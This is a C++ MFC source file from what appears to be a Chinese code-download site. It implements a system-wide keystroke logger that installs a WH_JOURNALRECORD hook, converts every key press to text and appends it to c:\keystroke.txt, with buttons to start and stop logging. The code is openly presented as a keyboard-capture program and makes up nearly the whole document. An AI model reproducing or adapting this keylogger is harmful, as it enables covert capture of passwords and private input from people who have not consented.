cmdDlg.cpp
资源名称:cmd.rar [点击查看]
上传用户:eduxmlj
上传日期:2022-08-03
资源大小:1829k
文件大小:6k
源码类别:
钩子与API截获
开发平台:
Visual C++
- // cmdDlg.cpp : implementation file
- //
- #include "stdafx.h"
- #include "cmd.h"
- #include "cmdDlg.h"
- #ifdef _DEBUG
- #define new DEBUG_NEW
- #undef THIS_FILE
- static char THIS_FILE[] = __FILE__;
- #endif
- /////////////////////////////////////////////////////////////////////////////
- // CAboutDlg dialog used for App About
- HHOOK hHook; //钩子的句柄
- int iCount=0; //循环计数值
- CFile KeyStrokeFile; //记录键盘击键信息的文件
- CString strInput; //缓冲键盘输入的字符串
- class CAboutDlg : public CDialog
- {
- public:
- CAboutDlg();
- // Dialog Data
- //{{AFX_DATA(CAboutDlg)
- enum { IDD = IDD_ABOUTBOX };
- //}}AFX_DATA
- // ClassWizard generated virtual function overrides
- //{{AFX_VIRTUAL(CAboutDlg)
- protected:
- virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
- //}}AFX_VIRTUAL
- // Implementation
- protected:
- //{{AFX_MSG(CAboutDlg)
- //}}AFX_MSG
- DECLARE_MESSAGE_MAP()
- };
- CAboutDlg::CAboutDlg() : CDialog(CAboutDlg::IDD)
- {
- //{{AFX_DATA_INIT(CAboutDlg)
- //}}AFX_DATA_INIT
- }
- void CAboutDlg::DoDataExchange(CDataExchange* pDX)
- {
- CDialog::DoDataExchange(pDX);
- //{{AFX_DATA_MAP(CAboutDlg)
- //}}AFX_DATA_MAP
- }
- BEGIN_MESSAGE_MAP(CAboutDlg, CDialog)
- //{{AFX_MSG_MAP(CAboutDlg)
- // No message handlers
- //}}AFX_MSG_MAP
- END_MESSAGE_MAP()
- /////////////////////////////////////////////////////////////////////////////
- // CCmdDlg dialog
- CCmdDlg::CCmdDlg(CWnd* pParent /*=NULL*/)
- : CDialog(CCmdDlg::IDD, pParent)
- {
- //{{AFX_DATA_INIT(CCmdDlg)
- // NOTE: the ClassWizard will add member initialization here
- //}}AFX_DATA_INIT
- // Note that LoadIcon does not require a subsequent DestroyIcon in Win32
- m_hIcon = AfxGetApp()->LoadIcon(IDR_MAINFRAME);
- }
- void CCmdDlg::DoDataExchange(CDataExchange* pDX)
- {
- CDialog::DoDataExchange(pDX);
- //{{AFX_DATA_MAP(CCmdDlg)
- // NOTE: the ClassWizard will add DDX and DDV calls here
- //}}AFX_DATA_MAP
- }
- BEGIN_MESSAGE_MAP(CCmdDlg, CDialog)
- //{{AFX_MSG_MAP(CCmdDlg)
- ON_WM_SYSCOMMAND()
- ON_WM_PAINT()
- ON_WM_QUERYDRAGICON()
- ON_BN_CLICKED(IDC_BUTTON1, OnButton1)
- ON_BN_CLICKED(IDC_BUTTON2, OnButton2)
- //}}AFX_MSG_MAP
- END_MESSAGE_MAP()
- /////////////////////////////////////////////////////////////////////////////
- // CCmdDlg message handlers
- BOOL CCmdDlg::OnInitDialog()
- {
- CDialog::OnInitDialog();
- // Add "About..." menu item to system menu.
- // IDM_ABOUTBOX must be in the system command range.
- ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
- ASSERT(IDM_ABOUTBOX < 0xF000);
- CMenu* pSysMenu = GetSystemMenu(FALSE);
- if (pSysMenu != NULL)
- {
- CString strAboutMenu;
- strAboutMenu.LoadString(IDS_ABOUTBOX);
- if (!strAboutMenu.IsEmpty())
- {
- pSysMenu->AppendMenu(MF_SEPARATOR);
- pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
- }
- }
- // Set the icon for this dialog. The framework does this automatically
- // when the application's main window is not a dialog
- SetIcon(m_hIcon, TRUE); // Set big icon
- SetIcon(m_hIcon, FALSE); // Set small icon
- // TODO: Add extra initialization here
- return TRUE; // return TRUE unless you set the focus to a control
- }
- void CCmdDlg::OnSysCommand(UINT nID, LPARAM lParam)
- {
- if ((nID & 0xFFF0) == IDM_ABOUTBOX)
- {
- CAboutDlg dlgAbout;
- dlgAbout.DoModal();
- }
- else
- {
- CDialog::OnSysCommand(nID, lParam);
- }
- }
- // If you add a minimize button to your dialog, you will need the code below
- // to draw the icon. For MFC applications using the document/view model,
- // this is automatically done for you by the framework.
- void CCmdDlg::OnPaint()
- {
- if (IsIconic())
- {
- CPaintDC dc(this); // device context for painting
- SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
- // Center icon in client rectangle
- int cxIcon = GetSystemMetrics(SM_CXICON);
- int cyIcon = GetSystemMetrics(SM_CYICON);
- CRect rect;
- GetClientRect(&rect);
- int x = (rect.Width() - cxIcon + 1) / 2;
- int y = (rect.Height() - cyIcon + 1) / 2;
- // Draw the icon
- dc.DrawIcon(x, y, m_hIcon);
- }
- else
- {
- CDialog::OnPaint();
- }
- }
- // The system calls this to obtain the cursor to display while the user drags
- // the minimized window.
- HCURSOR CCmdDlg::OnQueryDragIcon()
- {
- return (HCURSOR) m_hIcon;
- }
- //我们写钩子处理函数,如下所示:
- //钩子处理函数
- long __stdcall HookProc(int dwCode,WPARAM wParam, LPARAM lParam)
- {
- EVENTMSG *pEventMsg; //定义一个消息结构变量
- pEventMsg=(EVENTMSG *)lParam; //将lParam赋给消息结构变量
- BYTE tmp[1]; //存放通过ToAscii()得到的击键值的低8位
- if(strInput.GetLength()==2000) //如果字符数达到了2000,就写文件
- {
- KeyStrokeFile.SeekToEnd();
- KeyStrokeFile.Write(strInput, strInput.GetLength());
- strInput.Empty(); //文件写完之后,将字符串清空,以备下次使用
- }
- if((dwCode==HC_ACTION))
- {
- switch(pEventMsg->message)
- {
- case WM_KEYDOWN: //对按键消息进行处理
- BYTE bKeyState[256]; //用来存放键盘状态的缓冲区
- unsigned short uAscii[4]; //ToAscii()函数中要用到的缓冲区
- UINT uScanCode; //键盘扫描码
- int iRet; //函数返回值
- GetKeyboardState(bKeyState); //得到键盘状态
- bKeyState[VK_SHIFT]=GetKeyState(VK_SHIFT);//对shift键进行处理
- uScanCode=(pEventMsg->paramH>>16); //得到键盘扫描码
- //转换为ASCII码
- iRet=ToAscii(pEventMsg->paramL,uScanCode,bKeyState,uAscii,0);
- //对返回值进行判断
- switch(iRet)
- {
- case 0: //为0就直接break
- return iRet;
- break;
- case 1: //为1说明有ASCII字符的击键
- tmp[0]=uAscii[0];
- if(tmp[0]==0x08)//如果是backspace,则要回退一个字符
- strInput = strInput.Left(strInput.GetLength() - 1);
- else
- strInput+=tmp[0];
- break;
- default:
- break;
- }
- default:
- break;
- }
- }
- //进行下一个钩子调用
- return CallNextHookEx(hHook,dwCode,wParam,lParam);
- }
- void CCmdDlg::OnButton1()
- {
- KeyStrokeFile.Open("c:\keystroke.txt",
- CFile::modeCreate |
- CFile::modeNoTruncate |
- CFile::modeWrite |
- CFile::shareDenyNone
- );
- //安装钩子
- hHook=SetWindowsHookEx(WH_JOURNALRECORD,HookProc,AfxGetApp()->m_hInstance,NULL);
- }
- void CCmdDlg::OnButton2()
- {
- //如果字符串中的字符数小于2000,说明最后的输入没有写入文件。显然,这里需要做的工作是将最后一次在缓冲区存放的字符写入文件中
- if(strInput.GetLength()<=2000)
- {
- KeyStrokeFile.SeekToEnd();
- KeyStrokeFile.Write(strInput, strInput.GetLength());
- }
- //卸载钩子
- UnhookWindowsHookEx(hHook);
- //关闭文件
- KeyStrokeFile.Close();
- CDialog::OnCancel();
- }